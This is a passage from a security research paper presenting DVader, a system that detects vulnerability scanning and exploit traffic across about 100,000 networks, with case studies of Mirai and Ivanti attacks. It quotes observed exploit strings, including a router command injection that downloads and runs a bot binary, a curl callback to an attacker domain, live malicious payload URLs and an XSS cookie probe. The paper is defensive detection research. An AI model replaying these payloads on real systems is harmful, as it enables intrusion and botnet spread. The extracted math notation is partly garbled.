attempted to hijack Ubiquiti EdgeRouters [40] and Chinese

botnet SOHO has targeted Cisco and NetGear routers [41].

We detected that other routers such as Zyxel, D-Link, Dasan

GPON, Wavlink, TP-Link, and Netis routers have also been

among the destinations for scanning and exploiting attacks.

Our results show that the highest volume of confident scanning

requests targeted vulnerabilities disclosed in 2023 (37%), 2020

(23%), and 2019 (7%).

a) Evolution of Targeted Vulnerability Distribution: Our

longitudinal study allows us to observe the evolution of

the vulnerabilities scanned or exploited by threat actors. By

tracking these changes over time, we gain critical insights into

the dynamic nature of threats and how malicious actors adapt

their strategies. In Figure 7, we show the change in the targeted

vulnerabilities in confident and potential scanning traffic over

time. On Sep 26, 2023, we observe the maximum spike in

the number of total detected requests as 2.5 million. The

biggest contributor to this spike is scanning activity targeting

CVE-2022-30023 with 84.4%. We discuss case studies of

major spikes in Section VI. Our findings indicate that the

number of requests targeting more recently disclosed vulner-

abilities tends to increase over time, while those targeting

older vulnerabilities begin to diminish. This trend suggests that

attackers are actively monitoring vulnerability disclosures and

integrating the newest vulnerabilities into their attack vectors.



As illustrated in Figure 7, the lines representing 2019-2022

gradually phase out, whereas the line for 2023 becomes more

prominent toward the end of 2023. The line for 2024 becomes

more visible around March 2024.

However, we also observe some bursts of attacks tar-

geting older vulnerabilities. For example, in July 2023,

we detected 1.27 million requests attempting to exploit

Zyxel router vulnerabilities [42] disclosed in 2020. This

indicates that threat actors are trying to benefit from

the fact that some old vulnerabilities may still be un-

patched. We observed that generic path traversal and

generic script injection (/<script>alert(document.

cookie)</script>) vulnerability scanning are persistent

throughout our study. In Figure 7, we omit those types of

scanning for better visibility and note that they account for

46% and 4.3% respectively.

b) Targeted Vulnerability Range: We examine the num-

ber of unique signature hits logged by each network. Specif-

ically, for each network, we compute the daily targeted vul-

nerability range, U
Sig
N = U

Sig,H
N + U

Sig,ML
N . Our findings

show that for all monitored networks max(USig
N ) = 70

and min(USig
N ) = 1. We observe that 98.9% of the time

during our longitudinal study 1 ≥ U
Sig
N ≥ 8. To get an

insight into the total targeted vulnerability range, we also

plot the total number of unique signature hits logged by

each network for the whole duration of our study,
∑T

0
U

Sig
N .

We find that max∑(USig
N ) = 88, min∑(USig

N ) = 1 and

med∑(USig
N ) = 16. We observe that for 90% of the networks

max∑(USig
N ) = 25 and min∑(USig

N ) = 10. We show daily

and total targeted vulnerability range distribution graphs in

Appendix F.

2) Targeted Organizations: Threat actors target various

sectors for different reasons, often driven by the perceived

value of the data or assets, the potential for exploitation, and

the likelihood of weaker defenses.

a) Industry: Our results reveal that the most prominently

targeted industries, based on the percentages they represent

among the detected scanning activity traffic, are education

(22.9%), high-tech (18.6%), and healthcare (8.3%). Educa-

tional institutions store large amounts of personal data and

allow many external connections, making malicious activity

harder to detect. High-tech companies hold valuable intellec-

tual property and their complex systems may have vulnerabil-

ities. Healthcare providers maintain sensitive medical records,

valuable to cybercriminals, and face severe risks from ran-

somware attacks disrupting critical services. In Appendix G,

we share our results for the target industries.

b) Location: Our analysis of the geographical distribu-

tion of target organizations has revealed that certain countries

are more frequently targeted by threat actors. The majority of

the monitored networks are in the United States followed by

the Western European countries. We compare the percentage

of scanning activity targeting each country with their repre-

sentation among monitored networks. To assess the statistical

significance of these differences, we perform a Z-test and cal-

culate p-values for each country. Among the most frequently

targeted locations, Australia, Taiwan, India, and Brazil stand

out, with p-values indicating that their observed scanning

activity is significantly higher than expected. We analyzed

the targeted industry distribution in these countries and found

notable results. 91% of the traffic directed at Taiwan is aimed

at wholesale and retail organizations. Taiwan is a major hub

for manufacturing and exports, particularly in electronics and

technology products. Attackers may be targeting this sector

to disrupt supply chains. For India, 51% of the traffic was

directed at high-tech organizations likely due to the recent

growth of the sector [44].

B. Botnet Traffic

Among our confident scanning activity detections, we ob-

served lots of malware-initiated scanning. To study the botnet

traffic, we first extract the IP addresses that initiated requests

containing delivery IPs, as these are likely part of botnet traffic.

We also extract the delivery IPs in these URLs. Combining

these two sets of IPs, we obtain a set of 42,552 unique highly

likely malicious IPs. Then, we extract the detections related

to these IPs, whether as the initiator or the delivery IP.

Through this analysis, we attribute 59.7% (32.2 million)

of confident, 0.08% (110,000) of potential, and 1.5% (1.9

million) of emerging scanning detections to botnet traffic. We

find that botnets attempted to attack 33,477 networks and 2.7

million IP addresses utilizing 81 unique vulnerabilities (65

high severity and 16 medium or low severity). We observe

that even though CVE-2024-21893 [45] is a recently published

CVE and was not among the top vulnerabilities shown in

Figure III for all detections, it made it to the list of top

utilized vulnerabilities by botnets. This indicates the rapid

pace at which attackers adapt to new vulnerabilities and

utilize them to spread botnets. Our results show that the most

popular industries for botnets are education (21.2%), high-tech

(19%), and healthcare (8.5%) similar to the overall detections.

However, the top two organizations that account for 5% (4.1%

and 0.9%) of all detections are in the healthcare sector. This

observation is in line with the recent botnet attacks directed at

the healthcare sector such as Blackcat ransomware disrupting

the services of Change Healthcare [46] and KillNet launching

DDoS attacks against a US healthcare organization [47]. The

most popular botnet target locations, as indicated by Z-tests

showing statistically significant proportion differences, are

Australia, Taiwan, Turkey, Italy, and Thailand. Among these

Turkey and Italy stand out as they are not among the popular

locations for overall detections. Turkey was previously shown

to be a popular Mirai botnet target in 2017 by Antonakakis et

al. [2] attributing it to market penetration.

VI. CASE STUDIES

A. MIRAI Botnet

Our detections reveal attempts to exploit a Zyxel RCE

vulnerability [42] that stems from insufficient input validation

in specific versions of the Zyxel router’s /bin/zhttpd/

component. This vulnerability is being leveraged to download



Fig. 7. Date vs. Percentage of max (where max is detected as 2.5 million requests) vs. Vulnerability publish year. Evolution of targeted vulnerability year
distribution over time. Vulnerabilities that account for less than 1% are omitted. The labeled spikes show the percentage in the day for the highest contributor.

Fig. 8. Unique targets in exploit attempts for [42].

a malicious file, which subsequently replicates itself to further

spread the Mirai botnet. DVader flagged unusual spikes on

July 19, 22, and 24, 2023. Specifically on July 24, DVader

flagged spikes in all features (except U
Sig
N ) where we recorded

1.27 million requests directed at 791,000 unique IP addresses

belonging to 12,400 unique targets. As labeled in Figure 7,

these requests amount to 87.4% of the scanning activity

observed on July 24. We detected that U
Sig,H
N = 1 and

U
Sig,ML
N = 0. Hence, this is an example of multi-destination

single-vulnerability scanning activity. In Figure 8, we show

the number of unique targets in our detections between

July 17, 2023 and July 27, 2023 with the following exploit

pattern: /bin/zhttpd/cd/tmp;rm-rf*;wgethttp:

//<malicious_IP>/mips;chmod777mips;./

mipszyxel.selfrep;. We discovered multiple malicious

IP addresses embedded in the exploit requests.

Mirai botnets are continuously evolving and incorporating

new vulnerabilities [48]–[50] into their repertoire for exploita-

tion. Given the constant announcements of new vulnerabilities,

it is particularly challenging to perform detections promptly.

However, we show that by monitoring scanning activities

across multiple networks, we can potentially detect new scan-

ning patterns rapidly.

B. Discovering Unseen Malicious URLs

DVader identified instances of exploiting requests in which

attackers included previously unseen URLs for payload de-

livery or C2 operations. We denote these URLs as “unseen”

because, at the time of detection, they had not been identified

as malicious by any VT security vendors. This diminishes the

likelihood of subsequent delivery URLs being intercepted by

security vendors. Since these delivery URLs are novel to the

vendors, it is imperative to identify and obstruct such initial

requests, as vendors are unlikely to impede subsequent ones.

On Jan. 12, 2024, 11:23:49 UTC, we detected exploiting

requests for [42] by a variant of the Mirai botnet with

the following malicious URL in its payload: 103.245.

236.188/skyljne.mips. Whereas, the first submission

date for this malicious URL on VT was Jan. 12, 2024,

12:10:36 UTC which is almost an hour later than our detection

time. This early detection can be achieved by configuring

DVader to run close to real-time with a one-hour sliding

window. Between our detection time and VT submission time,

we recorded 6619 exploiting requests. On Jan. 18, 2024,

07:31:07 UTC, we detected exploiting requests for multiple

Ivanti vulnerabilities [51] with the following malicious URL

in the payload: 45.130.22.219/ivanti.js. These re-

quests had high confidence levels in the emerging scanning

detections, making them easily identifiable to a manual in-

spector. Specifically, when unique paths in the detections are

ranked by max(USig,H
N ) and max(USig,ML

N ), the request path

containing this malicious URL ranks 29th. The first date of

submission on VT for this malicious URL was Jan. 30, 2024,

15:21:57 UTC which is over 12 days later than our detection

time. Between our detection time and VT submission time,

we recorded 2258 exploiting requests. In both instances, we

observed that our detection of the scanning requests preceded

the detection of the malicious delivery URLs (by VT) by a

margin. This indicates the effectiveness of our detection logic

in identifying emerging threats promptly.

C. Ivanti Connect Vulnerabilities

On Jan. 14, 2024, DVader flagged 26,634 requests

launched to exploit the following Ivanti Connect Secure

Gateway vulnerabilities disclosed on Jan 10, 2024: CVE-

2023-46805 [52] (authentication bypass) and CVE-2024-

21887 [53] (command injection). We observed spikes in

features RP , RP,N , U
Org
P , U IP

P,N , UN
P , and U

Sig
N indicating



Fig. 9. Unique targets in exploit attempts for [52], [53].

that this case is multi-destination multi-vulnerability scanning

activity. Specifically, we flagged a spike where 8,110 unique

targets were destinations of exploiting URLs with various

crafted paths. In Figure 9, we show the number of unique

targets in exploit attempts for [52], [53] from Jan. 11

to Jan. 21, 2024. Only four days after the initial spike,

DVader detected another spike on Jan. 18 where 16,345

organizations were targeted. We observed the following path

among the detected traffic: /api/v1/totp/license/

keys-status/;curla0f0b2e6.dnslog.store.

This request was involved in an attempted chained attack

where the threat actors leveraged CVE-2023-46805 and CVE-

2024-21887 to connect to a0f0b2e6.dnslog.store.

Our investigation showed that attackers use this domain to

collect the IP addresses of vulnerable targets to potentially

perform further attacks.

To evaluate the benefits of a multi-network vantage point

compared to monitoring a single network in isolation, we

analyze how many networks exhibit detectable spikes when

observed individually. In Appendix J, we present the number

of networks that would show a spike, and thus be detected,

versus those that would not, if evaluated in isolation. For

example, on Jan. 14, only 3 out of 33 networks (9.1%) would

be flagged individually, and on Jan. 18, only 1,853 out of

26,935 networks (6.9%) would be detected. This highlights

the limited visibility of isolated monitoring and the improved

detection potential of a multi-network approach.

VII. DISCUSSION

a) Limitations: Our analysis should be considered along-

side certain limitations. Since DVader’s visibility is limited to

the URL part of an HTTP(S) request, we may miss requests

with payloads residing in other parts of the request. Although

the system we propose in this work overcomes this limitation

by monitoring spikes, we might need further investigation

to identify payloads in such detections. Additionally, due to

the overwhelming volume of the monitored traffic, we are

unable to analyze all potential and emerging scanning activity

detections. Rather, we analyzed subsets of our detections based

on the percentage representations and the confidence level we

attribute to them given their feature and spike knowledge.

Lastly, while implementing strict filters and thresholds in our

detection system should lead to a more accurate analysis of

scanning activity trends, this may cause the system to be

more limited in unseen threat discovery. Implementations of

our methodology by other researchers or institutions can use

less strict feature filter settings to focus on discovering unseen

threats.

VIII. RELATED WORK

a) Scanning Activity: Related work heavily focused on

port scanning [23]–[25] where they did not delve into the

probed vulnerabilities. Previous work studied scanning gen-

erated by botnets and showed IP address space scanning

as a common botnet trait [2], [26], [27]. Unsolicited traffic

observed in darknets has been extensively used to analyze

botnet propagation and exploitation attempts targeting vulner-

abilities [2], [24], [25], [28], [29]. Darknets are limited as they

only receive scanning targeting the entire IPv4 space or a large

enough subset. Unlike the use of network telescopes based

on darknets, Richter et al. analyzed scanning traffic recorded

by the servers of a major content delivery network (CDN),

covering 1,300 networks [30]. However, these works are either

limited to darknet scanning [2], [24], [25], [28], [29], botnet

scanning [2], [26], [27] or small number of networks compared

to our study [30].

b) Anomaly Detection: Previous works extensively stud-

ied behavior analysis and anomaly detection to identify mali-

cious activities in networks. Previous work leveraged graph

based structures for task-specific traffic anomaly detection

and detected malware downloading [18], [19], malware static

resources [20] and malware infrastructures [21]. These meth-

ods require deep packet inspection (DPI) and cannot be

applied to encrypted traffic. Discrete-time Markov Chains have

been used to model user and device behaviors for anomaly

detection [54]–[56]. However, these methods have the main

assumption that the value of the next variable will depend only

on the value of the current variable. This assumption would

fail for our volume-based features.

King et al. [9] proposed a formalized approach for scalable

dynamic link prediction and anomalous edge detection to

detect lateral movement. Bowman et al. [10] abstracted a

computer network to a graph of authenticating entities, and

performed unsupervised graph learning to ultimately detect

malicious authentication events. Kruegel et al. [11] presented

an application-specific system that automatically derives the

parameter profiles to detect attacks against web applications.

Bilge et al. [12] developed a botnet detection system that

distinguishes C2 channels from benign traffic using NetFlow

records such as flow sizes, client access patterns, and temporal

behavior. Milajerdi et al. [6] developed techniques that lever-

age the correlation between suspicious information flows to

detect attacker campaigns. However, these works are typically

either application-specific [11] or designed to detect a subset

of attack methods [9], [10], [12] such as lateral movement

or C2 communication. To the best of our knowledge, we

present the first longitudinal study with a vantage point over

nearly 100,000 networks which allows us to use volume-based

features for detection and analysis of scanning activity.



IX. CONCLUSION

In this paper, we study the scanning and exploiting activity

conducted to uncover and exploit vulnerabilities. We introduce

DVader, a robust, hybrid, multi-network scanning activity de-

tection system that leverages volume-based features, high-level

signatures, and a machine learning model. Using DVader, we

conduct the first large-scale longitudinal analysis of scanning

activity, utilizing a vantage point that enables a comprehensive

study of scanning activity across nearly 100,000 networks,

detecting millions of scanning requests. Using case studies

of notable vulnerabilities and showing that DVader identified

previously unseen malicious URLs, we demonstrate that our

system effectively detects emerging threats in mixed traffic.

We analyze our detections and characterize the scanning

activity presenting insights on the targeted vulnerabilities

and destinations, and botnet behavior. Our work highlights

the importance of active monitoring of networks to detect

anomalies which may help in scanning activity detection.
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APPENDIX A

ETHICS

In this work, we worked on anonymized data and all data

processing happened inside the partner cybersecurity company

where data is securely stored and access is restricted to

authorized personnel only. We did not collect any PII or

other company customer-provided information. We did not

collect HTTP header data. The company’s customers agreed

on the terms of service stating that they are aware of their

request URLs are logged in the cloud for further processing.

By incorporating the detections and findings of this work in

their URL filtering product, the company’s customers received

protection against the threats discussed in this paper.

APPENDIX B

FEATURES AND ACTIVITY TYPES

We summarize the correlation between the likelihood of

observing spikes in features and the scanning activity type

in Table VI.

APPENDIX C

FEATURE IMPORTANCE AND CORRELATIONS

To demonstrate the importance of each feature, we compute

the percentage of observed spikes for each feature within the

detected confident and potential scanning traffic. Note that

since the signature hits feature is a direct indicator, we exclude

it from this evaluation. We show our results in Table ??. Our

results show that all evaluated features individually contribute

at least 10% to the detections, with the exception of U
Org
P,N ,

which contributes slightly less, around 3%. Additionally, we

observe that feature contributions in potential scanning traffic

mostly mirror those in confident cases, suggesting a high level

of reliability in the detections labeled as potential.

We compute Pearson correlation coefficients for each fea-

ture pair to quantify the strength of linear associations. We

show our results in Table ??. We assess the strength by

the general guidelines [57]. The linear dependency between

the 28 feature pairs are as follows: 21 weak, 5 moderate

and 2 strong correlations. Our results indicate that most of

our features exhibit only weak linear dependencies, meaning

they are largely uncorrelated. This suggests that each feature

captures distinct aspects of the traffic behavior, which can

be valuable for improving the robustness and effectiveness of

detection.

APPENDIX D

SIGNATURE DATABASE

In Table V, we show the severity and the vulnerability dis-

closure year distribution of the signatures in our database. Four

signatures lack a published year. These signatures encompass

broader scanning patterns, such as generic directory traversal

paths like /etc/passwd and /bin/sh or generic script

injection, that cannot be attributed to a specific disclosure year

or a vulnerability.



APPENDIX E

ML MODEL EVALUATION

In Figure 10, we show the ROC curve and the ROC AUC

score for the ML model test set.

Fig. 10. ML model ROC curve for the test set.

APPENDIX F

TARGETED VULNERABILITY RANGE

In Figure 11, we show the daily targeted vulnerability range,

U
Sig
N and in Figure 12, we show the total targeted vulnerability

range,
∑t

0
U

Sig
N .

Fig. 11. Daily targeted vulnerability range, U
Sig
N

.

Fig. 12. Total targeted vulnerability range,
∑t

0
U

Sig
N

.

APPENDIX G

TARGET INDUSTRIES

In Table IV, we show the industries of popular scanning

activity targets and their percentage distributions among our

detections.

Target Industry Percentage in Detections

Education 22.9
High-Tech 18.6
Healthcare 8.3
State and Local Government 7.3
Professional and Legal Services 7.1
Finance 5.8
Wholesale and Retail 5.7
Manufacturing 5.5
Telecommunications 3.9
Federal Government 2.8

TABLE IV
TARGET INDUSTRIES.

APPENDIX H

SCAN, IDENTIFY, EXPLOIT

DVader detected multiple spikes in the number of total

requests logged by a certain network starting from May 1,

2023, with the path /boaform/admin/formlogin. We

observed the biggest detected spike on May 8, 2023, with

18,800 requests. 9 days after this potential scanning phase

that lasted 7 days, the same network’s FW logged 788 requests

with the path /boaform/formping. This activity, depicted

in Figure 13, may be attributed to attempts at exploiting CVE-

2022-30023, as discussed in Section II-A. This conclusion

is based on the observation that the same destination IP

addresses are involved during both the scanning phase and the

subsequent exploitation phase. This suggests that the threat

actors used scanning to identify vulnerable targets and then

directed exploitation requests specifically to those identified

IP addresses.

Fig. 13. Detections targeting CVE-2022-30023.



Disclosure Year

Severity N/A 2014 2016 2017 2018 2019 2020 2021 2022 2023 2024

High 2 0 1 1 2 250 279 233 199 193 17
Medium 0 0 0 1 4 44 41 69 51 33 1
Low 2 1 0 1 3 1 3 0 0 0 0

TABLE V
THE YEAR AND SEVERITY DISTRIBUTION OF THE SIGNATURES IN OUR

DATABASE. HIGH≥7>MEDIUM≥4>LOW.

Fig. 14. Isolation experiment on the case study in Section VI-C.

APPENDIX I

ROBUSTNESS EVALUATION

We show all features (except signature hits) and their

moving thresholds DVader computes during our longitudinal

study in Figures 15, 16, 17, 18, 19, 20, 21 and 22. For

network-based features, RN and U
Org
N , we show results for

the selected network discussed in Section IV-A in Figures 15

and 18, respectively. For path-based features, we need to

observe a benign path that is commonly used across many

networks. To this end, we picked /en for our evaluation. This

path is typically used to depict the language of a website as

English and is not particularly linked to any known threats.

For path-based features, RP , U
Org
P and UN

P , we show results

for path /en in Figures 16, 19 and 22, respectively. For both

path- and network-based features, RP,N , U
Org
P,N and U IP

P,N , we

show results for /en recorded for the selected network in

Figures 17, 20 and 21, respectively.

APPENDIX J

MULTI-NETWORK BENEFIT OVER ISOLATED NETWORK

To evaluate the benefits of a multi-network vantage point

compared to monitoring a single network (i.e., isolated net-

work), we analyze how many networks exhibit detectable

spikes when observed individually for the Ivanti Connect

Vulnerability case study discussed in Section VI-C. In Fig-

ure 14, we present the number of networks that would show

a spike, and thus be detected, versus those that would not,

if evaluated in isolation. In this experiment, we use the same

DVader configurations as our longitudinal study which are a

7-day moving window and Nf = 3 for the feature, RP,N .

Figure 14 shows that the highest percentage of networks

detectable through isolated monitoring on any given day is just
9.1% (3 out of 33 networks on Jan. 14). This result underscores

the limited effectiveness of single-network monitoring and

demonstrates the significant advantage of a multi-network

vantage point for improving detection coverage.



Likelihood of Spike in Feature

Scanning Type Very Likely Likely Unlikely

Single-Destination UIP
P,N RN , RP , RP,N U

Org
N

, U
Org
P

, U
Org
P,N

, UN
P

Multi-Destination U
Org
N

, U
Org
P

, U
Org
P,N

, UIP
P,N , UN

P RN , RP , RP,N -

Single-Vulnerability - RN , RP , RP,N , U
Org
N

, U
Org
P

, U
Org
P,N

, UIP
P,N , UN

P U
Sig
N

Multi-Vulnerability U
Sig
N

RN , RP , RP,N , U
Org
N

, U
Org
P

, U
Org
P,N

, UIP
P,N , UN

P -

TABLE VI
CORRELATION BETWEEN THE EXPECTED SPIKES IN FEATURES AND SCANNING ACTIVITY TYPES.

RN δURN

Fig. 15. Feature RN and the computed moving threshold δURN
.

RP δURP

Fig. 16. Feature RP and the computed moving threshold δURP
.

RP,N δURP,N

Fig. 17. Feature RP,N and the computed moving threshold δURP,N
.



U
Org
N δU

U
Org

N

Fig. 18. Feature U
Org
N

and the computed moving threshold δU

U
Org
N

.

U
Org
P δU

U
Org

P

Fig. 19. Feature U
Org
P

and the computed moving threshold δU

U
Org
P

.

U
Org
P,N δU

U
Org

P,N

Fig. 20. Feature U
Org
P,N

and the computed moving threshold δU

U
Org
P,N

.

U IP
P,N δU

UIP
P,N

Fig. 21. Feature UIP
P,N and the computed moving threshold δU

UIP
P,N

.



UN
P δU

UN
P

Fig. 22. Feature UN
P and the computed moving threshold δU

UN
P

.
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